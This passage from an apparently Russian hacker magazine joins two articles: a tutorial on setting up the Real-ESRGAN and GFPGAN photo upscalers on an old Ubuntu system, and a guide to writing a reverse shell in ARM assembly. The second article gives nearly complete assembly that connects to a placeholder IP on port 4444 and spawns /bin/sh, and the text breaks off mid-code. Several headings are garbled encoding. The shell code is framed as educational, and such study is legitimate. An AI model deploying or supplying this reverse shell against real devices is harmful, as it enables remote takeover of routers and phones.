НЕЙРОСЕТЕВОЙ ФОТОУВЕЛИЧИТЕЛЬ

ÑÐÅÄÀ ÈÑÏÎËÍÅÍÈß

Для работы Real-ESRGAN и GFPGAN требуется Python версии не старше 3.7.


Если на твоем компьютере это требование выполняется, можешь пропустить
этот раздел. Но если ты хочешь собрать весь набор программного обес-
печения для «персонального нейросетевого фотоувеличителя», чтобы потом
быстро развернуть этот набор на основе разнообразных дистрибутивов
Linux, то советую не отвлекаться и проделать описанные здесь шаги.
Например, Ubuntu 16.04 поставляется с Python 3.5, который довольно
сильно интегрирован с операционной системой, и замена версии может при-
вести к непредсказуемым последствиям. Поэтому давай соберем Python
3.8 и установим его в качестве дополнительного пользовательского интер-
претатора, не затрагивая системный.
Сначала установи из репозиториев дополнительные пакеты, которые нуж-
ны для сборки интерпретатора и его дополнений, в соответствии с рекомен-
дациями разработчиков для твоей версии операционной системы.
Для Ubuntu 16.04 это можно выполнить следующей командой:

sudo apt install build-essential gdb lcov pkg-config \


libbz2-dev libffi-dev libgdbm-dev liblzma-dev \
libncurses5-dev libreadline6-dev libsqlite3-dev libssl-dev \
lzma lzma-dev tk-dev uuid-dev zlib1g-dev

Из сети будет загружено 63,5 Мбайт архивов. В более новых версиях в этот
список надо добавить пакет libgdbm-compat-dev.
Затем загрузи с официального сайта исходные тексты интерпретатора
(26 Мбайт) и распакуй их:

wget https://www.python.org/ftp/python/3.8.18/Python-3.8.18.tgz
tar -xzf Python-3.8.18.tgz

Потом сконфигурируй их для установки интерпретатора в пользовательский


каталог ~/.local, скомпилируй и выполни установку:

cd Python-3.8.18
./configure --prefix=$HOME/.local --enable-optimizations
make
make install

Проверь, как прошла установка:

$ ~/.local/bin/python3.8 --version
Python 3.8.18
$ ~/.local/bin/pip3.8 --version
pip23.0.1 from ~/.local/lib/python3.8/site-packages/pip (python 3.8)

Если всё в порядке, можешь удалить исходные тексты интерпретатора


и рабочие файлы:

cd ..
rm -fr Python-3.8.18 Python3.8.18.tgz

В дистрибутивах Ubuntu путь ~/.local/bin


присутствует в переменной окружения PATH
и является приоритетным. Поэтому запускать
интерпретатор можно без указания путевого пре-
фикса. В иных случаях можно либо добавить ука-
занный путь в начало значения переменной
PATH, либо запускать исполняемые файлы
по полному имени: ~/.local/bin/python3.
8, ~/.local/bin/pip3.8. В дальнейшем
изложении будет использоваться сокращенный
вариант, а ты разберись, какой требуется в твоей
операционной системе, и действуй соответствен-
но.

Нужная версия Python теперь тоже в наличии. Но прежде чем переходить


к установке основных программ «фотоувеличителя», надо убедиться, что
рабочей памяти компьютера для этого достаточно. Узнать имеющиеся ресур-
сы можно с помощью такой команды:

free -h

Сложи значение в последней колонке строки Mem (available) со значением


в последней колонке строки Swap (free). Если получилось боль-
ше 2560 Мбайт (2,5 Гбайт), то следующий раздел можешь пропустить. В про-
тивном случае придется увеличить виртуальную память операционной сис-
темы.

Óâåëè÷åíèå âèðòóàëüíîé ïàìÿòè


Как ты знаешь, виртуальная память Linux представлена физической оператив-
ной памятью и памятью страничной подкачки на внешнем носителе —
выделенном разделе жесткого диска или в специальном swap-файле. Если
во время работы приложения оперативная память исчерпывается, операци-
онная система использует механизм подкачки, перемещая неиспользуемые
страницы на внешний носитель и загружая с него страницы c данными,
которым требуется обработка. Продолжительную активную работу в таком
режиме хорошо характеризуют слова из песни В. С. Высоцкого: «это не езда,
а ерзанье».
Но в нашем случае увеличение и использование виртуальной памяти —
оправданный способ решения поставленной задачи, и вот почему. При нас-
тройке «фотоувеличителя» я обнаружил, что исчерпание памяти возникает
в следующих ситуациях:
• при установке дополнительных модулей Python (о них речь пойдет ниже),
когда программа pip использует оперативную память в качестве буфера
и нет никаких проблем в том, чтобы позволить операционной системе
кешировать загружаемые из сети данные на диск;
• при инициализации нейронных сетей и формировании файлов с резуль-
татами работы, что является незначительным фрагментом общего объема
работы.

Для основного процесса обработки изображений заявленных 768 Мбайт сво-


бодной оперативной памяти вполне достаточно.
При установке на виртуальную машину с 1024 Мбайт ОЗУ операционной
системы Lubuntu 16.04 автоматически создается раздел подкачки размером
около гигабайта. Для работы «фотоувеличителя» этого мало. Поэтому соз-
дадим swap-файл размером 2048 Мбайт (2 Гбайт) и добавим его к имеющей-
ся виртуальной памяти (все команды запускаем от рута):

swapoff -a
dd if=/dev/zero of=/swapfile bs=1024k count=2048
chmod 0600 /swapfile
mkswap /swapfile
swapon -a
swapon /swapfile

Приведенная выше последовательность команд начинается с отключения


памяти подкачки (swapoff), чтобы эти действия можно было без изменений
выполнять на операционных системах, использующих не раздел, а файл под-
качки, то есть /swapfile. Кстати, в этом случае последняя команда сообщит
об ошибке swapon failed: Device or resource busy, поскольку файл
подкачки уже будет задействован предыдущей командой. Проконтролиро-
вать, какие именно хранилища подкачки используются, можно с помощью
команды swapon без параметров.

ÍÅÉÐÎÑÅÒÈ «ÔÎÒÎÓÂÅËÈ×ÈÒÅËß»

Проекты GFPGAN и Real-ESRGAN используют вспомогательные ресурсы:


• BasicSR, Basic Super Restoration — программное обеспечение для восста-
новления качества фото- и видеоматериалов;
• FaceXLib — реализации алгоритмов для работы с лицами людей на фотог-
рафиях (обнаружение, выравнивание, выделение основных элементов
и прочее).

За реализацию всей скучной математики нейронных сетей на центральных


и графических процессорах отвечает пакет PyTorch. Установим эти вспомога-
тельные пакеты Python:

pip3.8 install basicsr --cache ~/pipcache


pip3.8 install facexlib --cache ~/pipcache

Кеш используется для того, чтобы загрузка пакетов не начиналась заново,


если по каким-то причинам она будет прервана, а продолжалась с места
остановки.

Имей в виду, что BasicSR со всеми своими зависимостями занимает боль-


ше 4 Гбайт и загрузка этих данных из сети даже в сжатом виде может пот-
ребовать значительного времени.
Не исключено прерывание процесса с сообщением об ошибке:

Collecting torch >= 1.7


ERROR: Exception:
...
MemoryError

Это значит, что надо вернуться к предыдущему разделу и проверить исполь-


зование памяти. Возможно, ты перезагружал компьютер и забыл снова под-
ключить файл подкачки.

По завершении установки вспомогательных пакетов содержимое каталога


~/.local увеличится до 5 Гбайт, а в кеше ~/pipecache будет находить-
ся 2,4 Гбайт данных, которые теперь можно удалить:

rm -fr ~/pipcache

Установим основное программное обеспечение GFPGAN и Real-ESRGAN


прямо из Git-репозиториев:

sudo apt install git


mkdir ~/GAN && cd ~/GAN
git clone https://github.com/xinntao/Real-ESRGAN.git
git clone https://github.com/TencentARC/GFPGAN.git

Это не займет много времени, а после завершения установки в нашем


каталоге ~/GAN появятся подкаталоги GFPGAN и Real-ESRGAN, занима-
ющие 25 и 24 Мбайт соответственно.
Чтобы предотвратить в дальнейшем установку дополнительного модуля
Python и использовать уже имеющиеся файлы, создадим ссылку на рабочий
каталог gfpgan.

cd ~/.local/lib/python3.8/site-packages
ln -s ../../../../GAN/GFPGAN/gfpgan

Теперь давай настроим установленное программное обеспечение:

cd ~/GAN/GFPGAN
python3.8 setup.py develop
cd ~/GAN/Real-ESRGAN
python3.8 setup.py develop
ln -s ../GFPGAN/gfpgan

Последняя команда создает в каталоге Real-ESRGAN ссылку, чтобы избежать


дублирования весов моделей GFPGAN.
На этом установка и настройка программного обеспечения «фотоувеличи-
теля» завершена. Осталось выполнить последний шаг подготовительного
этапа — загрузить «модели», то есть веса нейронных сетей, заранее вычис-
ленные в ходе их обучения. Если этого не сделать, то при первом исполь-
зовании программ GFPGAN и Real-ESRGAN они будут загружены автомати-
чески. Но можно сохранить контроль над процессом и вручную выполнить
следующие команды:

$ cd ~/GAN
$ wget
https://github.com/TencentARC/GFPGAN/releases/download/v1.3.0/GFPGANv1.3
.pth -P GFPGAN/gfpgan/weights
$ wget
https://github.com/xinntao/facexlib/releases/download/v0.1.0/detection_R
esnet50_Final.pth -P GFPGAN/gfpgan/weights
$ wget
https://github.com/xinntao/facexlib/releases/download/v0.2.2/parsing_par
senet.pth -P GFPGAN/gfpgan/weights
$ wget https://github.com/xinntao/Real-
ESRGAN/releases/download/v0.1.0/RealESRGAN_x4plus.pth -P Real-
ESRGAN/weights

Будь внимателен при указании пути к целевому каталогу. Если допустишь


опечатку, wget без предупреждения создаст новый подкаталог и выполнит
загрузку данных в него. Естественно, потом программное обеспечение
«фотоувеличителя» не сможет обнаружить такой файл.

Файлы с весами для нейронных сетей GFPGAN


и Real-ESRGAN имеют следующие размеры:
•GFPGANv1.3.pth — 332 Мбайт;
•detection_Resnet50_Final.pth — 104 Мбайт;
•parsing_parsenet.pth — 81 Мбайт;
•RealESRGAN_x4plus.pth — 64 Мбайт.

ÁÎÐÜÁÀ Ñ ÏÐÎÃÐÅÑÑÎÌ

Казалось бы, теперь-то все готово к тому, чтобы заняться обработкой фотог-
рафий. Действительно, у меня настроенный по описанной методике «фото-
увеличитель» сразу же заработал. Но когда я через несколько дней проверял
инструкцию при работе над этой статьей, повторно выполняя все действия,
меня поджидал сюрприз. Программное обеспечение GFPGAN отказывалось
работать, сообщая об ошибке:

ImportError: urllib3 v2.0 only supports OpenSSL 1.1.1+, currently


the 'ssl' module is compiled with 'OpenSSL 1.0.2g 1 Mar 2016'.
See: https://github.com/urllib3/urllib3/issues/2168

Вот тебе на! Оказалось, что, приняв решение об использовании устаревшей


операционной системы, мы вступили на скользкую дорожку. За эти несколько
дней Python-модуль google-auth, по какой-то причине входящий в состав
зависимостей программного обеспечения «фотоувеличителя», обновился
до версии 2.0.5 и решил запретить использование устаревших криптогра-
фических протоколов, подняв требования к системной библиотеке OpenSSL.
Но для Ubuntu 16.04 ожидать обновлений уже не приходится.
Собирать эту библиотеку из исходников, как мы сделали с Python 3.8? Это,
конечно, один из вариантов. Но, если хорошенько подумать, зачем нам
google-auth и сетевая безопасность на виртуальной машине, которая соз-
давалась специально для локальной обработки фотографий? Лучше пойдем
другим путем и установим устаревший модуль google-auth версии 1.26.16:

$ pip3.8 install urllib3=1.26.16


ERROR: ... google-auth 2.23.1 requires urllib>=2.0.5
Successfully installed urllib3-1.26.16

Не будет работать google-auth? Не очень-то и хотелось! Главное, что сам


«фотоувеличитель» после этого запускается. Однако как быть в дальнейшем?
Прогресс ведь не остановишь, и поезд с модулями Python будет все дальше
уходить от Ubuntu 16.04. Поэтому рекомендую тебе сохранить установленный
набор программ в архиве GAN_U1604.tgz:

cd ~
tar -zcf GAN_U1604.tgz .local GAN

Имея снимок работающего варианта «фотоувеличителя», тебе не составит


труда при необходимости развернуть его на свежеустановленной виртуаль-
ной машине. Тем самым ты сбережешь себе не только нервы, но и время,
необходимое для загрузки данных из сети и последующей настройки.

Возможно, у тебя возник вопрос, как настроить обмен файлов между вир-
туальной машиной и компьютером с гипервизором. VirtualBox предлагает
использовать дополнение, пробрасывающее папки файловой системы
компьютера в виртуальную машину. Но я предпочитаю более универсальный
способ — сетевой обмен по протоколу FTP. Почти любая операционная сис-
тема, установленная на виртуальной машине, содержит в своем составе тот
или иной FTP-клиент, а поднять на компьютере FTP-сервер и настроить бран-
дмауэр — задача, которую нужно решить один раз. Кстати, я использую сер-
вер, который реализует утилита «Швейцарский файловый нож», запуская его
при необходимости:

C:\> sfk.exe ftpserv -port=21 -rw D:\FTP

В таком варианте использования сервер открывает полный доступ к каталогу


D:\FTP при вводе любого имени пользователя и пароля, поэтому после
передачи файлов его работу нужно завершить комбинацией клавиш Ctrl + C.
Кстати, не забудь перед передачей файлов переключить в настройках вир-
туальной машины сетевой адаптер из режима «NAT» в режим «Виртуальный
адаптер хоста».

ÎÁÐÀÁÎÒÊÀ ÔÎÒÎÃÐÀÔÈÉ

Итак, все ингредиенты собраны и смешаны, можно приступать к волшебству.


Не откладывая дела в долгий ящик, сразу выполним увеличение фотографии
с отстирыванием и разглаживанием одежды присутствующих на ней пер-
сонажей, а заодно проработаем детали их лиц. В этом нам поможет Real-
ESRGAN, который сам обратится за дополнительными услугами художника
к GFPGAN. Исходные фотографии (файлы в формате JPEG или PNG) помес-
тим в каталог ~/GAN/in, а результат пусть сохраняется в каталоге ~/GAN/out.
Обработка запускается следующим образом:

cd ~/GAN/Real-ESRGAN
python3.8 inference_realesrgan.py -i ../in -o ../out -t 64 --fp32
--face_enhance

В ходе инициализации «увеличителя» появится серия сообщений с предуп-


реждениями, а при небольшом объеме оперативной памяти начнется
активный страничный обмен с файлом подкачки. Но через минуту-другую
ситуация должна стабилизироваться, а на экране побегут поползут отсчеты
обработанных блоков:

[W NNPACK.cpp:64] Could not initialize NNPACK! Reason: Unsupported


hardware.

Tile 1/42

Tile 2/42

...

Tile 41/42

Tile 42/42

На предупреждение, что инициализировать NNPACK невозможно, не стоит


обращать внимания, мы ведь знаем, что у нас нет подходящего графического
ускорителя. На компьютере без Nvidia CUDA обработка одной фотографии
может затянуться на несколько десятков минут. Но ведь работает!
Вернемся к командной строке, запускающей обработку. Первые два
параметра программы inference_realesrgan.py указывают на исходные
материалы и результат. С помощью параметра -t задается размер окна
обработки фрагмента изображения. Если этого не сделать, то начала обра-
ботки можно и не дождаться, потому что после длительного обмена с файлом
подкачки программа сообщит об ошибке. Еще один обязательный в спартан-
ских условиях параметр --fp32 заставляет использовать 32-битные, а не 16-
битные данные, потому что поддержка данных половинной длины на CPU
не реализована. Если его не указать, то появится сообщение об ошибке:

Error "slow_conv2d_cpu" not implemented for 'Half'

Последний параметр --face_enhance, как ты, наверное, догадался, при-


зывает Real-ESRGAN воспользоваться GFPGAN для улучшения проработки
обнаруженных на фотографиях лиц. Если хочешь, ты можешь обработать
фотографию только приложением GFPGAN. Оно найдет на фотографии лица
людей, вырежет их оттуда и попробует сделать более реалистичными. Коман-
дная строка в этом случае будет выглядеть так:

cd ~/GAN/GFPGAN
python3.8 inference_gfpgan.py -i ../in -o ../out

В выходном каталоге, помимо файлов с улучшенными лицами, будут созданы


файлы, содержащие рядом исходный материал и результат, чтобы можно
было наглядно оценить проделанную программой работу.

Если тебе лень набирать команды вручную,


можешь взять сценарии оболочки gfpgan.sh
и resrgan.sh. Помести их в каталог ~/GAN
и используй так:

cd ~/GAN
/bin/sh gfpgan.sh in out
/bin/sh resrgan.sh in out

ÂÛÂÎÄÛ

Итак, мы построили настоящий локальный нейросетевой фотоувеличитель.


Он ни в коей мере не зависит от внешних сетевых ресурсов и может работать
на самом обычном компьютере. Программное обеспечение Real-ESRGAN
и GFPGAN вместе со средой исполнения Python 3.8 можно упаковать и сох-
ранить на тот случай, если понадобится заняться фотографиями, а прогресс
вместе с библиотеками Python ушел вперед и требует новых вычислительных
мощностей.
Что можно сказать о результатах работы «фотоувеличителя»? Как ты сам
теперь можешь убедиться, качество выдаваемых им результатов в большинс-
тве случаев вызывает лишь удивление и восхищение. Но когда информации
недостаточно (исходные материалы низкого качества), нейронные сети
начинают додумывать отсутствующие элементы, и это приводит к неожидан-
ным или даже шокирующим эффектам. В таких случаях спасти ситуацию
может предварительная ретушь исходного образца, выполненная традици-
онными методами в обычных графических редакторах. Таким образом, новые
технологии удачно дополняют хорошо известные средства и расширяют их
возможности.
КОДИНГ

ПИШЕМ НА АССЕМБЛЕРЕ
СВОЙ РЕВЕРС-ШЕЛЛ
ДЛЯ УСТРОЙСТВ НА ARM

Многие знают, как создать шелл-код


для обычных машин с архитектурой x86.
Про это написана куча мануалов, статей
и книг, но многие современные девайсы,
включая смартфоны и роутеры, используют PURGENTX
Реверс-инженер
процессоры ARM. Я собрал всю необ- лаборатории инновационных
технологий
ходимую информацию для подготовки стен- и кибербезопасности
AP Security
да, написания и инъекции шелл-кода
для устройств на ARM.

Все продемонстрированные методы приведены


в ознакомительных и учебных целях. Ни редак-
ция, ни автор статьи не несут ответственности
за практическое использование этих техник.

ARM (Advanced RISC Machine) — это 32-битная архитектура, разработанная


компанией Acorn Computers Ltd в 1983 году. Процессоры ARM имеют 32-раз-
рядные регистры, но из них только 16 доступны программисту. Этими 16 так
называемыми видимыми регистрами можно манипулировать с помощью
набора инструкций.
Они делятся на регистры общего назначения и специализированные.
К первым относятся регистры от R0 до R10, к специализированным — сле-
дующие:
• R11 — frame pointer (FP);
• R12 — intra-procedure (IP);
• R13 — указатель на стек (stack pointer, SP);
• R14 — связующий регистр (link register, LR);
• R15 — счетчик (program counter, PC). Грубо говоря, EIP/RIP.

Об ARM можно почитать на сайте, посвященном этим процессорам, или в


Википедии. Также имеются публикации об AArch64. Про ассемблер под ARM
советую следующие книги:
• Ассемблер для Raspberry Pi. Практическое руководство;
• Эксплуатация систем ARM Linux;
• Blue Fox: Arm Assembly Internals and Reverse Engineering.

ÑÎÇÄÀÍÈÅ ÂÈÐÒÓÀËÜÍÎÉ ÌÀØÈÍÛ Â QEMU

QEMU — это эмулятор различных процессорных архитектур. Как правило, он


используется для эмуляции целого компьютера (то есть для запуска вир-
туальной машины), однако для отладки одной программы это необязательно.
В Linux можно использовать эмуляцию QEMU User-Mode, именно этот способ
и будет рассмотрен первым.
Наша конечная цель — запускать скомпилированные программы для ARM
64-bit. Для начала необходимо установить сам пакет эмулятора:

sudo apt-get update


sudo apt-get install qemu qemu-user qemu-user-static

Для AArch64 устанавливаем следующие компоненты:

sudo apt install gcc-arm-linux-gnueabihf binutils-arm-linux-


gnueabihf binutils-arm-linux-gnueabihf-dbg
sudo apt install gcc-aarch64-linux-gnu binutils-aarch64-linux-gnu
binutils-aarch64-linux-gnu-dbg

Чтобы эмулировать процессор типа ARM64, необходимо создать две дирек-


тории — deb11_inst и deb11_start: mkdir deb11_inst deb11_start.
Затем перейти в deb11_inst и скачать два файла — installer-linux
и installer-initrd.gz.
Для этого используем следующие команды:

wget -O installer-linux http://http.us.debian.org/debian/dists/


bullseye/main/installer-arm64/current/images/netboot/debian-
installer/arm64/linux

wget -O installer-initrd.gz http://http.us.debian.org/debian/dists/


bullseye/main/installer-arm64/current/images/netboot/debian-
installer/arm64/initrd.gz

Дальше создаем диск для установки на него системы:

qemu-img create -f raw hda.img 20G

Создаем файл instDebARM64.sh, в него необходимо записать следующий


скрипт:

#!/bin/bash
qemu-system-aarch64 -M virt -m 2G -cpu cortex-a53 -smp 2 \
-kernel installer-linux \
-initrd installer-initrd.gz \
-drive if=none,file=hda.img,format=raw,id=hd \
-device virtio-blk-pci,drive=hd \
-netdev user,id=mynet \
-device virtio-net-pci,netdev=mynet \
-display gtk,gl=on \
-device virtio-gpu-pci \
-no-reboot \
-device qemu-xhci -device usb-kbd -device usb-tablet

Здесь
• qemu-system-aarch64 — эмуляция полной системы для архитектуры;
• -M — выбор эмулируемой машины;
• -m — объем ОЗУ;
• -cpu — тип эмулируемого процессора;
• -smp — количество виртуальных ядер ЦП и их распределение по сокетам;
• -kernel — для использования указанного образа ядра Linux;
• -initrd — для загрузки Linux;
• netdev/device и drive — описание сетевой карты и виртуальных дис-
ков;
• if — опция указывает, через интерфейс какого типа подключен диск;
• file — определяет, какой образ использовать для какого диска;
• format — указывает явным образ формат дисков, не использовать авто-
определение;
• -display — выбор типа отображения, доступно sdl, curses, gtk, none,
vga;
• -no-reboot — отмена перезагрузки.

Сохраняем и запускаем скрипт. Начнется классическая установка Debian 11.


На первом экране надо выбрать английский язык в качестве основного.

Далее необходимо выбрать UNITED STATES. Ближе к завершению установки


появится ошибка.

Выбираем Continue и дожидаемся окончания установки Debian. Переносим


образ hda.img с установленной системой в директорию deb11_start. Затем
создаем файл debARM64.sh, в который поместим следующий скрипт:

#!/bin/bash
qemu-system-aarch64 -M virt -m 3G -cpu cortex-a53 -smp 2 \
-kernel vmlinuz-5.10.0-8-arm64 \
-initrd initrd.img-5.10.0-8-arm64 \
-append 'root=/dev/vda2' \
-drive if=none,file=hda.img,format=raw,id=hd \
-device virtio-blk-pci,drive=hd \
-netdev user,id=mynet \
-device virtio-net-pci,netdev=mynet \
-display gtk,gl=on \
-device virtio-gpu \
-no-reboot \
-device qemu-xhci -device usb-kbd -device usb-tablet\

Щелкаем на созданном диске hda.img правой клавишей мыши и монтируем


его: «Открыть с помощью → Монтирование дискового образа». На смон-
тированном диске нас интересуют два файла: initrd.img-5.10.0-20-arm64
и vmlinuz-5.10.0-20-arm64 (ну а в общем случае initrd.img-xxxxxxx-
arm64 и vmlinuz-xxxxxxx-arm64). Версии системы должны быть одинако-
выми! Запускаем файл debARM64.sh:

./debARM64

Для настройки сети в скрипт debARM64.sh нужно добавить строчку -net


user,hostfwd=tcp::10022-:22. Эта строчка создаст еще и SSH-подклю-
чение.

Docker
Есть и альтернативный вариант: эмуляция Raspberry Pi с использованием
Docker. Для этого нужно установить Docker:

sudo apt-get install docker.io

Затем скачать соответствующий образ:

docker pull lukechilds/dockerpi

Как только все прогрузится, вводим команду

docker run -it --name имя_для_контейнера -v $HOME/.dockerpi:/sdcard


lukechilds/dockerpi

В качестве имя_для_контейнера можно выбрать любое, я назову свой


ap_security. После этого начнется распаковка и запуск Raspberry Pi.

Итогом успешного запуска будет такое окно.

Учетные данные для входа в систему стандартны: pi:raspberry. Собственно,


всё. Теперь в нашей виртуальной лаборатории есть Raspberry Pi. Чтобы вык-
лючить устройство, используй команду sudo poweroff, а чтобы запустить —
docker start -ai имя_для_контейнера, где имя_для_контейнера — выб-
ранное тобой имя контейнера.

Óñòàíîâêà GDB è PEDA/GEF


Установка GDB и плагина PEDA довольно проста. Для GDB используем
команду

sudo apt install gdb

Для установки PEDA команды такие:

git clone https://github.com/longld/peda.git ~/peda


echo "source ~/peda/peda.py" >> ~/.gdbinit

GEF установим командой

bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

Отладку я буду выполнять в основном в GEF.

ÏÐÎÁÓÅÌ GDB È ÏÈØÅÌ ÏÅÐÂÓÞ ÏÐÎÃÐÀÌÌÓ

Чтобы написать программу на ассемблере, потребуются три инструмента:


• текстовый редактор — nano;
• программа для создания объектного файла — as;
• программа для динамической привязки — ld.

Текстовый редактор — это вкусовщина. Многие пишут в Vim, мне удобнее


в nano, поэтому код я буду писать там. Программа as создает объектный
файл, а ld выполняет динамическую привязку. Работать с этими программами
нужно следующим образом:
1. Пишем команду as source.asm -o source.o, которая создает объ-
ектный файл с названием source.o.
2. Связываем объектный файл и преобразуем его в исполняемый с помощью
команды ld source.o -o source.bin.

У любого файла с кодом на языке ассемблера должна быть точка, с которой


начинается программа. Она выглядит так:

_start:

Эта точка определяется как глобальное имя для всей программы. Каждый
оператор имеет следующий синтаксис:

<обозначение:> <инструкция> @ комментарий

Ïåðâàÿ ïðîãðàììà
В первой программе, по классике, реализован вывод приветственной строч-
ки — H3ll0, ][akep!:

.global _start

_start:
mov r7, #4 @ номер системного вызова
mov r0, #1 @ вывод - stdout
mov r2, #13 @ длина строки
ldr r1, =string @ строка находится на метке string
swi 0 @ системный вызов

mov r7, #1 @ выход


swi 0

.data
string:
.ascii "H3ll0, ][akep!\n"

Здесь
• r7 — номер процедуры;
• r0 определяет поток (stdin/stdout/stderr);
• r2 — количество выводимых символов;
• r1 хранит адрес строки.

Все это схоже с ассемблером для i386. В ARM регистры для взаимодействия
такие:
• r7 — номер системного вызова;
• r0 — аргумент 1;
• r1 — аргумент 2;
• r2 — аргумент 3;
• r3 — аргумент 4;
• r4 — аргумент 5;
• r5 — аргумент 6;
• r0 — возвращаемое значение или код ошибки.

Информация обо всех системных вызовах есть в справке программы


J0llyTr0LLz. Там же описано, что именно должно лежать в регистрах. Скачать
программу и узнать, как с ней работать, можно на GitHub.

Компилируем приложение и запускаем.

as -g proga1.asm -o proga1.o
ld proga1.o -o proga1.bin

Здесь -g — ключ для включения отладочной информации. После запуска уви-


дим следующее:

$ file proga1.bin
proga1.bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV),
statically linked, not stripped
./proga1.bin
H3ll0, ][akep!

Попробуем продебажить это приложение.

Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ

ПИШЕМ НА АССЕМБЛЕРЕ СВОЙ РЕВЕРС-


ШЕЛЛ
ДЛЯ УСТРОЙСТВ НА ARM

ÏÅÐÂÛÉ ÎÏÛÒ Â ÎÒËÀÄÊÅ

Запускаем GDB и загружаем в него бинарный файл, после чего переходим


к разделу start:

$ gdb
gef➤ file proga1.bin
Reading symbols from proga1.bin...done.
gef➤ disassemble _start
Dump of assembler code for function _start:
0x00010074 <+0>: mov r7, #4
0x00010078 <+4>: mov r0, #1
0x0001007c <+8>: mov r2, #19
0x00010080 <+12>: ldr r1, [pc, #8] ; 0x10090 <_start+28>
0x00010084 <+16>: svc 0x00000000
0x00010088 <+20>: mov r7, #1
0x0001008c <+24>: svc 0x00000000
0x00010090 <+28>: muleq r2, r4, r0
End of assembler dump.

Поставим точку останова на первой инструкции и запустим программу:

b *_start
r

Окно отладки GDB-GEF выглядит так.

Шпаргалку по GDB-командам можно найти в документации, опубликованной


на сайте Darkdust.
На первом шаге все обнулено:

$r0 : 0x0
$r1 : 0x0
$r2 : 0x0
$r3 : 0x0
$r4 : 0x0
$r5 : 0x0
$r6 : 0x0
$r7 : 0x0
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$sp : 0xbefffce0 → 0x00000001
$lr : 0x0
$pc : 0x00010074 → <_start+0> mov r7, #4
$cpsr: [negative zero carry overflow interrupt fast thumb]

С использованием команды ni перейдем сразу к системному вызову. Если


после команды, которую мы ввели, нажать Enter, то команда выполнится пов-
торно.
Смотрим, что у нас в регистрах:

$r0 : 0x1
$r1 : 0x00020094 → <string+0> stclvs 3, cr3, [r12], #-288 ;
0xfffffee0
$r2 : 0x13
$r3 : 0x0
$r4 : 0x0
$r5 : 0x0
$r6 : 0x0
$r7 : 0x4
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$sp : 0xbefffce0 → 0x00000001
$lr : 0x0
$pc : 0x00010084 → <_start+16> svc 0x00000000
$cpsr: [negative zero carry overflow interrupt fast thumb]

Как можно заметить, везде лежат нужные нам значения. Посмотрим, что хра-
нится в регистре r1.

gef➤ x/s 0x00020094


0x20094: "H3ll0, ][akep!\nA\021"

Пройдем дальше и найдем вывод сообщения:

gef➤ n
H3ll0, ][akep!

Отлично! Сообщение вывелось. Настало время боевой практики.

ÏÈØÅÌ ÐÅÂÅÐÑ-ØÅËË

Для написания реверс-шелла нам понадобятся следующие системные


вызовы:
• socket — для создания сервера;
• connect — для подключения к жертве;
• dup2 — для копирования stdin/stdout/stderr;
• execve — для запуска /bin/sh.

В общем, ничего необычного, все стандартно. Необходимые системные


вызовы я буду подсматривать в программе J0llyTr0LLz.

Для socket(PF_INET, SOCK_STREAM, 0) = socket(2, 1, 0):


1. В регистре r7 будет лежать значение 0x119.
2. В регистре r0 значение 2, потому что мы используем PF_INET, семейство
протоколов IP.
3. В регистре r1 находится 1 — SOCK_STREAM(TCP).

Первая часть кода получится такой:

.global _start

_start:

mov r0, #2
mov r1, #1
sub r2, r2
mov r7, #200
add r7, #81
swi 0 @ socket(2, 1, 0)

mov r4, r0

В регистр r0 будет сохранен сокет-дескриптор. Для его сохранения просто


передадим его в какой-нибудь другой регистр, чтобы потом снова им вос-
пользоваться. Я выбрал регистр r4.
Теперь нужно описать функцию connect(sockid, sockaddr *addr,
addrlen). С помощью J0llyTr0LLz определяем номер системного вызова:
• r7 = 0x11b;
• r0 = sockid = r4;
• r1 = &sockaddr;
• r2 = 16.

Здесь sockaddr — структура, в которой будет содержаться порт, IP-адрес


и используемый протокол. В нашем случае это TCP.

struct:
.ascii "\x02\xff" @ AF_INET
.ascii "\x11\x5c" @ port = 4444
.byte xxx,xxx,xxx,xxx @ IP address

В итоге получаем такой фрагмент кода:

mov r4, r0
adr r1, struct
mov r2, #16 @ struct length
add r7, #2 @ 281 + 2
swi 0

struct:
.ascii "\x02\xff" @ AF_INET
.ascii "\x11\x5c" @ port = 4444
.byte xxx,xxx,xxx,xxx @ IP address

Команда adr получает какой-либо адрес, в ассемблере i386 есть аналогич-


ная инструкция lea.
Длина считается так: 2 байта — порт, 2 байта — AF_INET, 4 байта — IP-
адрес и 8 байт — паддинг. Поэтому в регистр r2 будет положено число 16.
Регистр r7 никак не изменился с момента последнего вызова, поэтому мы
просто прибавляем 2.
Далее следует конструкция dup2(sockid, stdin/stdout/stderr).
Номер системного вызова dup2() равен 0x3f. Значение sockid хранится
в регистре r4, stdin/stdout/stderr равны 0/1/2 соответственно. Получаем
следующее:
• r7 = 0x3f;
• r0 = r4;
• r1 = 0/1/2.

Реализация этого шага будет выглядеть таким образом:

@ dup2(sockid , 0)
mov r0, r4 @ sockid
sub r1, r1 @ 0 - stdin
sub r7, r7
mov r7, #0x3f @ dup2
swi 0

@ dup2(sockid , 1)
mov r0, r4 @ sockid
add r1, #1 @ 1 - stdout
swi 0

@ dup2(sockid, 2)
mov r0, r4 @ sockid
add r1, #1 @ 2 - stderr
swi 0

Последний шаг: получаем шелл. Тут, в принципе, классика: execve("/bin/


sh", 0, 0). В секции данных пропишем следующую строку:

binsh:
.ascii "/bin/sh"

В r0 будет находиться строка /bin/sh, r1 и r2 — нулевые, а в r7 — значение


11. Таким образом, код примет следующий вид:

adr r0, binsh


sub r2, r2
sub r1, r1
mov r7, #11
svc 0

В итоге полный код выглядит так:

.global _start

_start:

mov r0, #2
mov r1, #1
sub r2, r2
mov r7, #200
add r7, #81
swi 0 @ socket(2, 1, 0)

mov r4, r0
adr r1, struct
mov r2, #16 @ struct length
add r7, #2 @ 281 + 2
swi 0

@ dup2(sockid , 0)
mov r0, r4 @ sockid
sub r1, r1 @ 0 - stdin
sub r7, r7
mov r7, #0x3f @ dup2
swi 0

@ dup2(sockid , 1)
mov r0, r4 @ sockid
add r1, #1 @ 1 - stdout
swi 0

@ dup2(sockid, 2)
mov r0, r4 @ sockid
add r1, #1 @ 2 - stderr
swi 0

adr r0, binsh


sub r2, r2
sub r1, r1
mov r7, #11
svc 0

struct:
.ascii "\x02\xff" @ AF_INET
